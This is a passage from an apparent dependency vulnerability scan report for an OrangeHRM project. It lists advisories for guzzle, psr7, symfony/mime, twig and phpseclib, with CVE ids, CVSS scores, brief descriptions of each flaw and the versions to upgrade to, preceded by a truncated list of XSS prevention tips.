* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
* Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
* Give users the option to disable client-side scripts.
* Redirect invalid requests.
* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedd

References

- GitHub Advisory
- GitHub Commit

MEDIUM

Incorrect Behavior Order: Validate Before Canonicalize

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 6.3	CVE-2026-6924 6	CWE-180	SNYK-PHP-GUZZLEHTTPGUZZLE-18543681	Exploit: Not Defined

Fixed in 7.15.2, 8.0.1

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	3.7	Low	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N`

Overview

Affected versions of this package are vulnerable to Incorrect Behavior Order: Validate Before Canonicalize via the request URI handling. An attacker can access resources on hosts that should have been excluded by bypassing host-based access controls through manipulation of noncanonical host representations.

Note: This is only exploitable if the application constructs a request URI from untrusted input and performs host validation before passing it to the HTTP client.

Remediation

Upgrade guzzlehttp/guzzle to version 7.15.2, 8.0.1 or higher.

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub PR
- GitHub PR
- GitHub Release
- GitHub Release

MEDIUM

CRLF Injection

Package: **symfony/mime 5.4.35**

CVSS 5.1	CVE-2026-45070	CWE-93	SNYK-PHP-SYMFONYMIME-16797270	Exploit: Not Defined

Fixed in 5.4.52, 6.4.40, 7.4.12, 8.0.12

Introduced through `orangehrm/orangehrm@0.0.0 → symfony/mailer@5.4.45 → symfony/mime@5.4.35`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.1	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.4	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N`

Overview

symfony/mime is a library to manipulate MIME messages.

Affected versions of this package are vulnerable to CRLF Injection via Non-Token Characters in Mime Parameter Names. A caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a Content-Disposition parameter name, can include \r\n or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message.

Remediation

Upgrade symfony/mime to version 5.4.52, 6.4.40, 7.4.12, 8.0.12 or higher.

References

- GitHub Commit
- Symfony Advisory

References

• GitHub Commit
• Symfony Advisory

MEDIUM

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 5.3	CVE-2026-47732	CWE-863	SNYK-PHP-TWIGTWIG-16776429	Exploit: Proof of Concept

Fixed in 3.26.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	5.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:L/SI:N/SA:L/E:P`
CVSS 3.1	7.4	High	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L/E:P`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via incomplete CheckToStringNode enforcement in SandboxNodeVisitor. An attacker can invoke toString() on arbitrary objects reachable from the render context by using Twig language constructs that trigger implicit PHP string coercion without calling SecurityPolicy::checkMethodAllowed(), bypassing sandbox method restrictions.
Remediation
Upgrade twig/twig to version 3.26.0 or higher.
References
- GitHub Commit
- Symfony Advisory

References

• GitHub Commit
• Symfony Advisory

MEDIUM

CRLF Injection

Package: **guzzlehttp/psr7 2.6.2**

CVSS 6.3	CVE-2026-55766	CWE-93	SNYK-PHP-GUZZLEHTTPPSR7-17393718	Exploit: Not Defined

Fixed in 2.12.1

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1 → guzzlehttp/psr7@2.6.2`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.3	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	4.8	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N`

Overview

Affected versions of this package are vulnerable to CRLF Injection in the start-line serialization of the Message class (toString, parseRequest, and parseResponse). An attacker can inject header lines and split or smuggle HTTP messages by placing CR or LF characters into the request method, protocol version, or response reason phrase, which are not rejected before the message is serialized as raw HTTP/1.x. Exploitation requires attacker-controlled data to reach one of these start-line fields and the serialized message to be processed by a downstream HTTP component, so standard client usage is unaffected while custom transports and manual serialization are.
Remediation
Upgrade guzzlehttp/psr7 to version 2.12.1 or higher.
References
- Friends of PHP Advisory
- GitHub Advisory
- GitHub Commit

References

• Friends of PHP Advisory
• GitHub Advisory
• GitHub Commit

MEDIUM

Server-side Request Forgery (SSRF)

Package: **phpseclib/phpseclib 3.0.37**

CVSS 6.9	CVE-2026-55599	CWE-918	SNYK-PHP-PHPSECLIBPHPSECLIB-17420054	Exploit: Proof of Concept

Fixed in 1.0.30, 2.0.55, 3.0.54

Introduced through `orangehrm/orangehrm@0.0.0 → phpseclib/phpseclib@3.0.37`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6.9	Medium	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:P`
CVSS 3.1	5.8	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N/E:P`

Overview

phpseclib/phpseclib is a PHP Secure Communications Library - Pure-PHP implementations of RSA, AES, SSH2, SFTP, X.509 etc.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the X509::validateSignature() function that follows a URL from Authority Information Access (AIA) extension without validation. An attacker can cause the server to initiate arbitrary outbound network connections by supplying a crafted X.509 certificate containing a malicious AIA extension.
Remediation
Upgrade phpseclib/phpseclib to version 1.0.30, 2.0.55, 3.0.54 or higher.
References
- GitHub Advisory
- GitHub Commit

References

• GitHub Advisory
• GitHub Commit

MEDIUM

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 6	CVE-2026-48808	CWE-863	SNYK-PHP-TWIGTWIG-17111517	Exploit: Not Defined

Fixed in 3.27.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	6	Medium	`CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	5.3	Medium	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N`
CVSS 3.1	7.5	High	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via the CoreExtension::column() filter when sandboxing is enabled through SourcePolicyInterface. An attacker can bypass the sandbox property restrictions because column() fails to propagate the current Source when invoking SandboxExtension::checkPropertyAllowed(), causing source-policy sandbox decisions to be lost and property authorization checks to be skipped. This allows reading arbitrary public or magic properties of objects exposed to the template, regardless of the configured SecurityPolicy::$allowedProperties.

Note:

1) This is only exploitable when sandboxing is enabled through SourcePolicyInterface and the column filter is permitted. Globally enabled sandbox mode is not affected.

2) This vulnerability is a bypass of the fix for CVE-2026-46635.
Remediation
Upgrade twig/twig to version 3.27.0 or higher.
References
- GitHub Commit
- GitHub Commit
- Symfony Blog

References

- GitHub Commit
- GitHub Commit
- Symfony Blog

LOW (4)

LOW

Origin Validation Error

Package: **guzzlehttp/guzzle 7.8.1**

CVSS 2.3	CVE-2026-59883	CWE-346	SNYK-PHP-GUZZLEHTTPGUZZLE-17895058	Exploit: Not Defined

Fixed in 7.12.3

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1`

Security information

Version	Score	Severity	Vector
CVSS 4.0	2.3	Low	`CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	4.7	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N`

Overview

Affected versions of this package are vulnerable to Origin Validation Error via the CookieJar process. An attacker can access or manipulate cookies belonging to other hosts by exploiting improper domain matching for IP-address or bare-numeric domains.
Remediation
Upgrade guzzlehttp/guzzle to version 7.12.3 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

LOW

Interpretation Conflict

Package: **guzzlehttp/psr7 2.6.2**

CVSS 2.3	CVE-2026-59882	CWE-436	SNYK-PHP-GUZZLEHTTPPSR7-17895059	Exploit: Not Defined

Fixed in 2.12.3

Introduced through `orangehrm/orangehrm@0.0.0 → guzzlehttp/guzzle@7.8.1 → guzzlehttp/psr7@2.6.2`

Security information

Version	Score	Severity	Vector
CVSS 4.0	2.3	Low	`CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	4.2	Medium	`CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N`
CVSS 3.1	6.5	Medium	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N`

Overview

Affected versions of this package are vulnerable to Interpretation Conflict via the assertValidHost function. An attacker can cause security or routing decisions to be made based on a mismatched host by crafting a URI with authority delimiters, embedded ports, or malformed IPv6 brackets.
Remediation
Upgrade guzzlehttp/psr7 to version 2.12.3 or higher.
References
- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

References

- GitHub Advisory
- GitHub Commit
- GitHub PR
- GitHub Release

LOW

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 2.3	CVE-2026-48805	CWE-863	SNYK-PHP-TWIGTWIG-17111491	Exploit: Not Defined

Fixed in 3.27.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	2.3	Low	`CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	4.2	Medium	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N`
CVSS 3.1	9.1	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via the deprecated twigarraysome(), twigarrayevery(), and twigcheckarrowinsandbox() helper functions. An attacker can bypass the sandbox callback restrictions by supplying non-Closure callables to twigarraysome() or twigarrayevery(), as these wrappers fail to propagate the sandbox state and invoke CoreExtension::arraySome() / arrayEvery() with sandbox enforcement disabled.

Note: Compiled Twig templates are not affected. This issue is only exploitable if an application directly uses the deprecated twig* helper functions with a sandboxed Environment.
Remediation
Upgrade twig/twig to version 3.27.0 or higher.
References
- GitHub Commit
- Symfony Blog

References

- GitHub Commit
- Symfony Blog

LOW

Incorrect Authorization

Package: **twig/twig 3.11.3**

CVSS 2.3	CVE-2026-48806	CWE-863	SNYK-PHP-TWIGTWIG-17111518	Exploit: Not Defined

Fixed in 3.27.0

Introduced through `orangehrm/orangehrm@0.0.0 → twig/twig@3.11.3`

Security information

Version	Score	Severity	Vector
CVSS 4.0	2.3	Low	`CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N`
CVSS 3.1	3.1	Low	`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N`
CVSS 3.1	9.1	Critical	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

Overview

twig/twig is a flexible, fast, and secure template language for PHP.

Affected versions of this package are vulnerable to Incorrect Authorization via dynamic mapping key handling in ArrayExpression. An attacker can bypass the sandbox toString() restrictions by using a stringable object as a dynamic mapping key, causing PHP to invoke toString() during key coercion without calling SandboxExtension::ensureToStringAllowed(). This allows unauthorized access to data exposed through toString() methods on objects reachable from the render context.

Note:

1) Direct output of the same object remains blocked by the sandbox. The issue only occurs when the object is used as a dynamic mapping key.

2) This vulnerability is a bypass of the fix for CVE-2026-47732.
Remediation
Upgrade twig/twig to version 3.27.0 or higher.
References
- GitHub Commit
- GitHub Commit
- Symfony Blog

References

• GitHub Commit
• GitHub Commit
• Symfony Blog